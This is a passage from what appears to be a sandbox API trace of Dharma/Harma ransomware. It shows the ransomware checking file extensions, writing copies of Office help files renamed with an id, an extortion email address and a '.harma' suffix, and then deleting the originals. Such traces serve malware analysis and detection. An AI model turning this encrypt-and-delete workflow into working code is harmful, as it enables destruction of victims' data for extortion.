(lpString1=".ppt", lpString2=".HXK") returned 1 [0157.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0157.661] lstrlenW (lpString=".zip") returned 4 [0157.661] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0157.661] lstrlenW (lpString=".rar") returned 4 [0157.661] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0157.661] lstrlenW (lpString=".bz2") returned 4 [0157.661] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0157.661] lstrlenW (lpString=".7z") returned 3 [0157.661] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0157.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0157.661] lstrlenW (lpString=".dbf") returned 4 [0157.661] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0157.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0157.661] lstrlenW (lpString=".1cd") returned 4 [0157.661] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0157.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_F_COL.HXK") returned 63 [0157.661] lstrlenW (lpString=".jpg") returned 4 [0157.661] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0157.661] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0157.661] lstrlenW (lpString="MSOUC_K_COL.HXK") returned 15 [0157.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.662] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=113) returned 1 [0157.662] CloseHandle (hObject=0x388) returned 1 [0157.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk")) returned 0x20 [0157.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.662] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.663] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0157.663] GetLastError () returned 0x0 [0157.663] ReadFile (in: hFile=0x388, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x71, lpOverlapped=0x0) returned 1 [0157.664] WriteFile (in: hFile=0x210, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x80, lpOverlapped=0x0) returned 1 [0157.665] ReadFile (in: hFile=0x388, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0157.665] WriteFile (in: hFile=0x210, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xf2, lpOverlapped=0x0) returned 1 [0157.665] SetEndOfFile (hFile=0x210) returned 1 [0157.665] CloseHandle (hObject=0x210) returned 1 [0157.665] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.665] SetEndOfFile (hFile=0x388) returned 1 [0157.668] CloseHandle (hObject=0x388) returned 1 [0157.669] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.669] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msouc_k_col.hxk")) returned 1 [0157.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0157.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0157.669] lstrlenW (lpString=".doc") returned 4 [0157.669] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0157.669] lstrlenW (lpString=".docx") returned 5 [0157.669] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0157.669] lstrlenW (lpString=".pdf") returned 4 [0157.670] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0157.670] lstrlenW (lpString=".xls") returned 4 [0157.670] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0157.670] lstrlenW (lpString=".xlsx") returned 5 [0157.670] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0157.670] lstrlenW (lpString=".ppt") returned 4 [0157.670] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0157.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0157.670] lstrlenW (lpString=".zip") returned 4 [0157.670] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0157.670] lstrlenW (lpString=".rar") returned 4 [0157.670] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0157.670] lstrlenW (lpString=".bz2") returned 4 [0157.670] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0157.670] lstrlenW (lpString=".7z") returned 3 [0157.670] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0157.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0157.670] lstrlenW (lpString=".dbf") returned 4 [0157.670] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0157.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0157.670] lstrlenW (lpString=".1cd") returned 4 [0157.670] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0157.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0157.670] lstrlenW (lpString=".jpg") returned 4 [0157.670] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0157.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0157.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0157.671] lstrlenW (lpString=".doc") returned 4 [0157.671] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0157.671] lstrlenW (lpString=".docx") returned 5 [0157.671] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0157.671] lstrlenW (lpString=".pdf") returned 4 [0157.671] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0157.671] lstrlenW (lpString=".xls") returned 4 [0157.671] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0157.671] lstrlenW (lpString=".xlsx") returned 5 [0157.671] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0157.671] lstrlenW (lpString=".ppt") returned 4 [0157.671] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0157.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0157.671] lstrlenW (lpString=".zip") returned 4 [0157.671] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0157.671] lstrlenW (lpString=".rar") returned 4 [0157.671] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0157.671] lstrlenW (lpString=".bz2") returned 4 [0157.671] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0157.671] lstrlenW (lpString=".7z") returned 3 [0157.671] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0157.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0157.671] lstrlenW (lpString=".dbf") returned 4 [0157.671] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0157.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0157.672] lstrlenW (lpString=".1cd") returned 4 [0157.672] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0157.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSOUC_K_COL.HXK") returned 63 [0157.672] lstrlenW (lpString=".jpg") returned 4 [0157.672] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0157.672] lstrcmpiW (lpString1=".HXS", lpString2=".harma") returned 1 [0157.672] lstrlenW (lpString="MSPUB.DEV.HXS") returned 13 [0157.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.672] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=4750792) returned 1 [0157.672] CloseHandle (hObject=0x388) returned 1 [0157.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs")) returned 0x20 [0157.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.673] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0157.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0157.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0157.673] lstrlenW (lpString=".doc") returned 4 [0157.673] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0157.673] lstrlenW (lpString=".docx") returned 5 [0157.673] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0157.673] lstrlenW (lpString=".pdf") returned 4 [0157.673] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0157.673] lstrlenW (lpString=".xls") returned 4 [0157.673] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0157.673] lstrlenW (lpString=".xlsx") returned 5 [0157.673] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0157.673] lstrlenW (lpString=".ppt") returned 4 [0157.673] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0157.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0157.674] lstrlenW (lpString=".zip") returned 4 [0157.674] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0157.674] lstrlenW (lpString=".rar") returned 4 [0157.674] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0157.674] lstrlenW (lpString=".bz2") returned 4 [0157.674] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0157.674] lstrlenW (lpString=".7z") returned 3 [0157.674] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0157.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0157.674] lstrlenW (lpString=".dbf") returned 4 [0157.674] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0157.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0157.674] lstrlenW (lpString=".1cd") returned 4 [0157.674] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0157.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0157.674] lstrlenW (lpString=".jpg") returned 4 [0157.674] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0157.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0157.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0157.674] lstrlenW (lpString=".doc") returned 4 [0157.674] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0157.674] lstrlenW (lpString=".docx") returned 5 [0157.674] lstrcmpiW (lpString1=".docx", lpString2="V.HXS") returned -1 [0157.674] lstrlenW (lpString=".pdf") returned 4 [0157.674] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0157.674] lstrlenW (lpString=".xls") returned 4 [0157.674] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0157.674] lstrlenW (lpString=".xlsx") returned 5 [0157.675] lstrcmpiW (lpString1=".xlsx", lpString2="V.HXS") returned -1 [0157.675] lstrlenW (lpString=".ppt") returned 4 [0157.675] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0157.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0157.675] lstrlenW (lpString=".zip") returned 4 [0157.675] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0157.675] lstrlenW (lpString=".rar") returned 4 [0157.675] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0157.675] lstrlenW (lpString=".bz2") returned 4 [0157.675] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0157.675] lstrlenW (lpString=".7z") returned 3 [0157.675] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0157.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0157.675] lstrlenW (lpString=".dbf") returned 4 [0157.675] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0157.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0157.675] lstrlenW (lpString=".1cd") returned 4 [0157.675] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0157.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS") returned 61 [0157.675] lstrlenW (lpString=".jpg") returned 4 [0157.675] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0157.675] lstrcmpiW (lpString1=".HXC", lpString2=".harma") returned 1 [0157.675] lstrlenW (lpString="MSPUB.DEV_COL.HXC") returned 17 [0157.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.676] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=641) returned 1 [0157.676] CloseHandle (hObject=0x388) returned 1 [0157.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc")) returned 0x20 [0157.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.677] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.677] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0157.678] GetLastError () returned 0x0 [0157.678] ReadFile (in: hFile=0x388, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x281, lpOverlapped=0x0) returned 1 [0157.679] WriteFile (in: hFile=0x210, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x290, lpOverlapped=0x0) returned 1 [0157.680] ReadFile (in: hFile=0x388, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0157.680] WriteFile (in: hFile=0x210, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xf6, lpOverlapped=0x0) returned 1 [0157.680] SetEndOfFile (hFile=0x210) returned 1 [0157.680] CloseHandle (hObject=0x210) returned 1 [0157.680] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.680] SetEndOfFile (hFile=0x388) returned 1 [0157.682] CloseHandle (hObject=0x388) returned 1 [0157.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0157.683] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxc")) returned 1 [0157.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0157.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0157.683] lstrlenW (lpString=".doc") returned 4 [0157.683] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0157.683] lstrlenW (lpString=".docx") returned 5 [0157.683] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0157.683] lstrlenW (lpString=".pdf") returned 4 [0157.683] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0157.683] lstrlenW (lpString=".xls") returned 4 [0157.683] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0157.684] lstrlenW (lpString=".xlsx") returned 5 [0157.684] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0157.684] lstrlenW (lpString=".ppt") returned 4 [0157.684] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0157.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0157.684] lstrlenW (lpString=".zip") returned 4 [0157.684] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0157.684] lstrlenW (lpString=".rar") returned 4 [0157.684] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0157.684] lstrlenW (lpString=".bz2") returned 4 [0157.684] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0157.684] lstrlenW (lpString=".7z") returned 3 [0157.684] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0157.684] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0157.684] lstrlenW (lpString=".dbf") returned 4 [0157.684] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0157.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0157.685] lstrlenW (lpString=".1cd") returned 4 [0157.685] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0157.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0157.685] lstrlenW (lpString=".jpg") returned 4 [0157.685] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0157.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0157.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0157.685] lstrlenW (lpString=".doc") returned 4 [0157.685] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0157.685] lstrlenW (lpString=".docx") returned 5 [0157.685] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0157.685] lstrlenW (lpString=".pdf") returned 4 [0157.685] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0157.685] lstrlenW (lpString=".xls") returned 4 [0157.685] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0157.685] lstrlenW (lpString=".xlsx") returned 5 [0157.685] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0157.685] lstrlenW (lpString=".ppt") returned 4 [0157.685] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0157.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0157.685] lstrlenW (lpString=".zip") returned 4 [0157.685] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0157.685] lstrlenW (lpString=".rar") returned 4 [0157.685] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0157.685] lstrlenW (lpString=".bz2") returned 4 [0157.685] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0157.685] lstrlenW (lpString=".7z") returned 3 [0157.685] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0157.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0157.685] lstrlenW (lpString=".dbf") returned 4 [0157.685] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0157.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0157.686] lstrlenW (lpString=".1cd") returned 4 [0157.686] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0157.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXC") returned 65 [0157.686] lstrlenW (lpString=".jpg") returned 4 [0157.686] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0157.686] lstrcmpiW (lpString1=".HXT", lpString2=".harma") returned 1 [0157.686] lstrlenW (lpString="MSPUB.DEV_COL.HXT") returned 17 [0157.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.686] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=209) returned 1 [0157.686] CloseHandle (hObject=0x388) returned 1 [0157.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt")) returned 0x20 [0157.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0157.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0157.687] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.687] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0157.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV_COL.HXT.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev_col.hxt.id-9c354b42.[gillian.cher@aol.com].harma"), 